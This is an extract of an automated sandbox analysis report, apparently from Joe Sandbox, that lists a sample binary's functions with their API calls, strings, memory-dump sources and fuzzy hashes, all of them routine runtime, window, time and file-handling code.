Instruction ID: 12b42db9fad93f94404b208b8bd57cef4b081d3c51c9bee26021fbb8dd191b29
Opcode Fuzzy Hash: 79b11954905930149f28d4258081330c4aee0b8516f5918b89fafde5a07dc1ea
Instruction Fuzzy Hash: 2E3157316047009FEB22AA39EC86F5AB7E9FF10710F194829E489DB161DF31AC80CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0032E7EE Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 79windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32(?,00000005), ref: 0032E811
GetClassNameW.USER32(00000000,?,00000800), ref: 0032E83D

Part of subcall function 00323316: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00013316,0031D523,00000000,.exe,?,?,00000800,?,?,?,00329E5C), ref: 0032332C

GetWindowLongW.USER32(00000000,000000F0), ref: 0032E859
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 0032E870
GetObjectW.GDI32(00000000,00000018,?), ref: 0032E884
SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 0032E8AD
DeleteObject.GDI32(00000000), ref: 0032E8B4
GetWindow.USER32(00000000,00000002), ref: 0032E8BD

Strings

STATIC, xrefs: 0032E843

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: Window$MessageObjectSend$ClassCompareDeleteLongNameString
String ID: STATIC
API String ID: 3820355801-1882779555
Opcode ID: 2d969724d74397e9f4daf3203400ce415d7345ddd3fa6e9a1ef0154f34b40eac
Instruction ID: 52ecc915bb1a56ae3b303e9ddf5712d59ad7e9e9d54fdacd3eaf0834970accfc
Opcode Fuzzy Hash: 2d969724d74397e9f4daf3203400ce415d7345ddd3fa6e9a1ef0154f34b40eac
Instruction Fuzzy Hash: BF112132500B207BEA336BB0BC0AFAF779CAF00B11F410434FA95A90D2DBA48D4586A1

Uniqueness

Uniqueness Score: -1.00%

Function 0033A421 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0033A435

Part of subcall function 0033A66A: RtlFreeHeap.NTDLL(00000000,00000000,?,0033DA56,?,00000000,?,00000000,?,0033DA7D,?,00000007,?,?,0033DE7A,?), ref: 0033A680
Part of subcall function 0033A66A: GetLastError.KERNEL32(?,?,0033DA56,?,00000000,?,00000000,?,0033DA7D,?,00000007,?,?,0033DE7A,?,?), ref: 0033A692

_free.LIBCMT ref: 0033A441
_free.LIBCMT ref: 0033A44C
_free.LIBCMT ref: 0033A457
_free.LIBCMT ref: 0033A462
_free.LIBCMT ref: 0033A46D
_free.LIBCMT ref: 0033A478
_free.LIBCMT ref: 0033A483
_free.LIBCMT ref: 0033A48E
_free.LIBCMT ref: 0033A49C

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 3b12f5959b20c32ca6874b8646a1b63990b85323bafffb201ff4be2a3e47c924
Instruction ID: 98fc258c38f4639b6e5058fda9189a6534770d082f2be0e13d45ac83e0a6ab95
Opcode Fuzzy Hash: 3b12f5959b20c32ca6874b8646a1b63990b85323bafffb201ff4be2a3e47c924
Instruction Fuzzy Hash: FF11B676210508BFCB02EF54CC92CD93BB5EF14750F4581A5FA488F232DA31EE519B81

Uniqueness

Uniqueness Score: -1.00%

Function 00333FC1 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 003340E0
___TypeMatch.LIBVCRUNTIME ref: 003341EE
_UnwindNestedFrames.LIBCMT ref: 00334340
CallUnexpected.LIBVCRUNTIME ref: 0033435B
_abort.LIBCMT ref: 00334360

Strings

csm, xrefs: 0033406B
csm, xrefs: 00333FFE
csm, xrefs: 00334117

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwind_aborttype_info::operator==
String ID: csm$csm$csm
API String ID: 322700389-393685449
Opcode ID: 13c42c48653b20e183d2805ae932bcd74a9eab6c249c41290ffc03f307b25d08
Instruction ID: e8d3b4e972fccc476ceb2ef478db4748e84c0f406b5c7fd232e636e92d1a5243
Opcode Fuzzy Hash: 13c42c48653b20e183d2805ae932bcd74a9eab6c249c41290ffc03f307b25d08
Instruction Fuzzy Hash: 81B17C75900209EFCF1ADFA4C8C19AEBBB5FF14310F16855AF811AB212D735EA61CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0032A6D1 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 126memoryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0032A6F6
_wcslen.LIBCMT ref: 0032A796
GlobalAlloc.KERNEL32(00000040,?), ref: 0032A7A5
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,?,00000000,00000000), ref: 0032A7C6

Strings

</html>, xrefs: 0032A777
<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 0032A720
<html>, xrefs: 0032A715, 0032A74E
utf-8"></head>, xrefs: 0032A72B

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: _wcslen$AllocByteCharGlobalMultiWide
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 1116704506-4209811716
Opcode ID: e59e101087baee2de855bdc9b008e6b0fa26f047585307942d18c85b144e3262
Instruction ID: 6f85ac2ad8931030c8ff3a1c491270249cd1ced039f74216a6cc93c1ce681341
Opcode Fuzzy Hash: e59e101087baee2de855bdc9b008e6b0fa26f047585307942d18c85b144e3262
Instruction Fuzzy Hash: 25312C32104B217FE727ABA4AC46F6F7BACDF42710F15011EF5019E1D2EF64A94583AA

Uniqueness

Uniqueness Score: -1.00%

Function 0032C7B0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98windowCOMMON

Download Yara Rule

APIs

Part of subcall function 003112F6: GetDlgItem.USER32(00000000,00003021), ref: 0031133A
Part of subcall function 003112F6: SetWindowTextW.USER32(00000000,003445F4), ref: 00311350

EndDialog.USER32(?,00000001), ref: 0032C800
SendMessageW.USER32(?,00000080,00000001,?), ref: 0032C827
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 0032C840
SetWindowTextW.USER32(?,?), ref: 0032C851
GetDlgItem.USER32(?,00000065), ref: 0032C85A
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 0032C86E
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 0032C884

Strings

LICENSEDLG, xrefs: 0032C7C4

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: MessageSend$Item$TextWindow$Dialog
String ID: LICENSEDLG
API String ID: 3214253823-2177901306
Opcode ID: 3b48c3adb836fca56b20ad2fb3e437f3f5abd529a059ed22fa3176c69cddf66a
Instruction ID: 8ee08979ead4a2b9a022ff7954d8dbbc31bca311dfcdf8db5b2a3ab706558d00
Opcode Fuzzy Hash: 3b48c3adb836fca56b20ad2fb3e437f3f5abd529a059ed22fa3176c69cddf66a
Instruction Fuzzy Hash: 0121F9321602117BE6375F69FC49F7F3BACEB46B85F014418F205E60A0CBA29D419671

Uniqueness

Uniqueness Score: -1.00%

Function 0031B5D6 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0031B5E2

Part of subcall function 00322701: GetSystemTime.KERNEL32(?), ref: 0032270F
Part of subcall function 00322701: SystemTimeToFileTime.KERNEL32(?,?), ref: 0032271D

Part of subcall function 003226AA: __aulldiv.LIBCMT ref: 003226B3

__aulldiv.LIBCMT ref: 0031B60E
GetCurrentProcessId.KERNEL32(00000000,?,000186A0,00000000,?,?,00000800,?), ref: 0031B615
_swprintf.LIBCMT ref: 0031B640

Part of subcall function 00314A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00314A33

_wcslen.LIBCMT ref: 0031B64A
_swprintf.LIBCMT ref: 0031B6A0
_wcslen.LIBCMT ref: 0031B6AA

Strings

%u.%03u, xrefs: 0031B630, 0031B694

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: Time_wcslen$System__aulldiv_swprintf$CurrentFileProcess__vswprintf_c_l
String ID: %u.%03u
API String ID: 2956649372-1114938957
Opcode ID: 70fc23cd38fb687dafd800c0cc8e491d31670358991d3a94646731ae0d16c3c9
Instruction ID: 3c2b3b7910c87d40b8ac5b800152fdde59616bfcfd444d85724e9b9c0f81664f
Opcode Fuzzy Hash: 70fc23cd38fb687dafd800c0cc8e491d31670358991d3a94646731ae0d16c3c9
Instruction Fuzzy Hash: 7C2195B2A043006FD716EF65CC85D9BB7ECEBD8710F04492AF545DB241DB34EA4887A2

Uniqueness

Uniqueness Score: -1.00%

Function 0032BC2B Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 68timeCOMMON

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,?), ref: 0032BC3F
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 0032BC50
SystemTimeToFileTime.KERNEL32(?,?), ref: 0032BC5E
FileTimeToSystemTime.KERNEL32(?,?), ref: 0032BC6C
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 0032BC87
GetTimeFormatW.KERNEL32(00000400,?,?,00000000,?,00000032), ref: 0032BCAE
_swprintf.LIBCMT ref: 0032BCD4

Strings

%s %s, xrefs: 0032BCC9

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: Time$System$File$Format$DateLocalSpecific_swprintf
String ID: %s %s
API String ID: 385609497-2939940506
Opcode ID: 9b3965f5e2a8d30349a7f353731a078d7aff37c8de5bf3dd6ff4a3697462082e
Instruction ID: 5f3ebbe309b3d38beb40a405b6820d082baaf329d6e36b4e646a9828775e975a
Opcode Fuzzy Hash: 9b3965f5e2a8d30349a7f353731a078d7aff37c8de5bf3dd6ff4a3697462082e
Instruction Fuzzy Hash: E821D6B654115CABDB22DFA1EC45EEF7BACFF1A704F050426FA05D6111EB20EA49CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00330ED0 Relevance: 13.7, APIs: 9, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,0031C43F,0031C441,00000000,00000000,6BE19C46,00000001,00000000,00000000,0031C32C,?,?,?,0031C43F,ROOT\CIMV2), ref: 00330F59
MultiByteToWideChar.KERNEL32(00000000,00000000,0031C43F,?,00000000,00000000,?,?,?,?,?,0031C43F), ref: 00330FD4
SysAllocString.OLEAUT32(00000000), ref: 00330FDF
_com_issue_error.COMSUPP ref: 00331008
_com_issue_error.COMSUPP ref: 00331012
GetLastError.KERNEL32(80070057,6BE19C46,00000001,00000000,00000000,0031C32C,?,?,?,0031C43F,ROOT\CIMV2), ref: 00331017
_com_issue_error.COMSUPP ref: 0033102A
GetLastError.KERNEL32(00000000,?,0031C43F,ROOT\CIMV2), ref: 00331040
_com_issue_error.COMSUPP ref: 00331053

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: _com_issue_error$ByteCharErrorLastMultiWide$AllocString
String ID:
API String ID: 1353541977-0
Opcode ID: 1b0ceed0905a78cabca182e52b36243c540066ade633a68c3aae92a0f371ec66
Instruction ID: c3ecbbe30ebd0c83858f27e4abcac682f4c7e2cf86929e75ca5b98f78b352ed3
Opcode Fuzzy Hash: 1b0ceed0905a78cabca182e52b36243c540066ade633a68c3aae92a0f371ec66
Instruction Fuzzy Hash: 484118B5A04305AFD716DF68DC85BAFBBB8EF49710F104229F405EB280DB75A940CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0031C3F7 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 210COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0031C3FC

Strings

Windows 10, xrefs: 0031C595
SELECT * FROM Win32_OperatingSystem, xrefs: 0031C49D
ROOT\CIMV2, xrefs: 0031C42F
WQL, xrefs: 0031C4AF
Name, xrefs: 0031C583

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: H_prolog
String ID: Name$ROOT\CIMV2$SELECT * FROM Win32_OperatingSystem$WQL$Windows 10
API String ID: 3519838083-3505469590
Opcode ID: 22149ba23b7113966ef524f95054e16e01e2c22c5c10380578ec85b773b39e0a
Instruction ID: 4711c16165646bc1e793c5faa5c8926babdca732e2a435c7cd39b79e7c7f99be
Opcode Fuzzy Hash: 22149ba23b7113966ef524f95054e16e01e2c22c5c10380578ec85b773b39e0a
Instruction Fuzzy Hash: 65719D75A506199FDB1ADFA5CC94AFEB7B9FF4D310B010569E402EB2A0CB30AD41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0031A5E9 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 135fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0031A5EE
GetLongPathNameW.KERNEL32(?,?,00000800), ref: 0031A611
GetShortPathNameW.KERNEL32(?,?,00000800), ref: 0031A630

Part of subcall function 0031D6A7: _wcslen.LIBCMT ref: 0031D6AF

Part of subcall function 00323316: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00013316,0031D523,00000000,.exe,?,?,00000800,?,?,?,00329E5C), ref: 0032332C

_swprintf.LIBCMT ref: 0031A6CC

Part of subcall function 00314A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00314A33

MoveFileW.KERNEL32(?,?), ref: 0031A73B
MoveFileW.KERNEL32(?,?), ref: 0031A77B

Strings

rtmp%d, xrefs: 0031A6B5

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf_wcslen
String ID: rtmp%d
API String ID: 3726343395-3303766350
Opcode ID: f7c81afdb7db7b532703864f46f871c1652a6ee4ec82aa38773892a218c28b6a
Instruction ID: 279204a35045f65e6caed3d01f4f43b5cbf1c1e27813b276da9658e97dd37b42
Opcode Fuzzy Hash: f7c81afdb7db7b532703864f46f871c1652a6ee4ec82aa38773892a218c28b6a
Instruction Fuzzy Hash: AA417E71901A286ACF26EBA0CC45EEFB37CBF59341F0804A5B545A7085EB359BC58F61

Uniqueness

Uniqueness Score: -1.00%

Function 00322538 Relevance: 12.1, APIs: 8, Instructions: 125timeCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0032254E

Part of subcall function 0031C619: GetVersionExW.KERNEL32(?), ref: 0031C63E

FileTimeToLocalFileTime.KERNEL32(00000003,00000000,00000003,?,00000064,00000000,00000000,00000001), ref: 00322571
FileTimeToSystemTime.KERNEL32(00000003,?,00000003,?,00000064,00000000,00000000,00000001), ref: 00322583
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00322594
SystemTimeToFileTime.KERNEL32(?,?), ref: 003225A4
SystemTimeToFileTime.KERNEL32(?,?), ref: 003225B4
FileTimeToSystemTime.KERNEL32(?,?,?), ref: 003225EF
__aullrem.LIBCMT ref: 00322699

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion__aulldiv__aullrem
String ID:
API String ID: 1247370737-0
Opcode ID: f8aa1ce86612094b8e856c2c1535526eb17da9763e9361534f40f37340d9c7d4
Instruction ID: be2b9a7c31d8320b3421b0d90559c0baa0d7e01eb7d31b8cfdd652849c179c9a
Opcode Fuzzy Hash: f8aa1ce86612094b8e856c2c1535526eb17da9763e9361534f40f37340d9c7d4
Instruction Fuzzy Hash: 964137B6508305AFC715DF65D880A6BFBE9FF88314F00892EF996C6210E774E549CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0032AD1E Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0032AD2A

Strings

</style>, xrefs: 0032AE72
<style>, xrefs: 0032AE50
>, xrefs: 0032AD6B
</p>, xrefs: 0032AE08
<br>, xrefs: 0032AE1E

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: _wcslen
String ID: </p>$</style>$<br>$<style>$>
API String ID: 176396367-3568243669
Opcode ID: 809a86d818db8e33d3b3c14b737686928fb2d8823805918154ce5c2ae8e7c647
Instruction ID: 3bd264c25a388eb2491823cafba96e10d76ac8906046e9e64a7d9e9a9b6df4e4
Opcode Fuzzy Hash: 809a86d818db8e33d3b3c14b737686928fb2d8823805918154ce5c2ae8e7c647
Instruction Fuzzy Hash: E451F576640B7393DB329A14A82177673E4DF64751F6A442BF9C08F581FA648D4282A2

Uniqueness

Uniqueness Score: -1.00%

Function 0034084D Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,00340FC2,00000000,00000000,00000000,00000000,00000000,?), ref: 0034088F
__fassign.LIBCMT ref: 0034090A
__fassign.LIBCMT ref: 00340925
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 0034094B
WriteFile.KERNEL32(?,00000000,00000000,00340FC2,00000000,?,?,?,?,?,?,?,?,?,00340FC2,00000000), ref: 0034096A
WriteFile.KERNEL32(?,00000000,00000001,00340FC2,00000000,?,?,?,?,?,?,?,?,?,00340FC2,00000000), ref: 003409A3

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: ca89dca517744516206adedbfe55b2e8606fd36ece161cf508e1432a725a1987
Instruction ID: bd006542a75b133946b9695cdb5f1269d65140ea7ce7939a6866c2864188d88e
Opcode Fuzzy Hash: ca89dca517744516206adedbfe55b2e8606fd36ece161cf508e1432a725a1987
Instruction Fuzzy Hash: 17519971A002499FDB16CFA4DC45FEEBBF8EF09300F15411AE655EB292D730A951CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00333A90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00333AC7
___except_validate_context_record.LIBVCRUNTIME ref: 00333ACF
_ValidateLocalCookies.LIBCMT ref: 00333B58
__IsNonwritableInCurrentImage.LIBCMT ref: 00333B83
_ValidateLocalCookies.LIBCMT ref: 00333BD8

Strings

csm, xrefs: 00333B6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 82b4d221d371ed67e706edd3b54758e292a7ad9071369a6ead99231f8aed2768
Instruction ID: 3d53a6f3e59a807da60d4217787283d4cbf8cfe5daed02ae580c5c7a7009a01e
Opcode Fuzzy Hash: 82b4d221d371ed67e706edd3b54758e292a7ad9071369a6ead99231f8aed2768
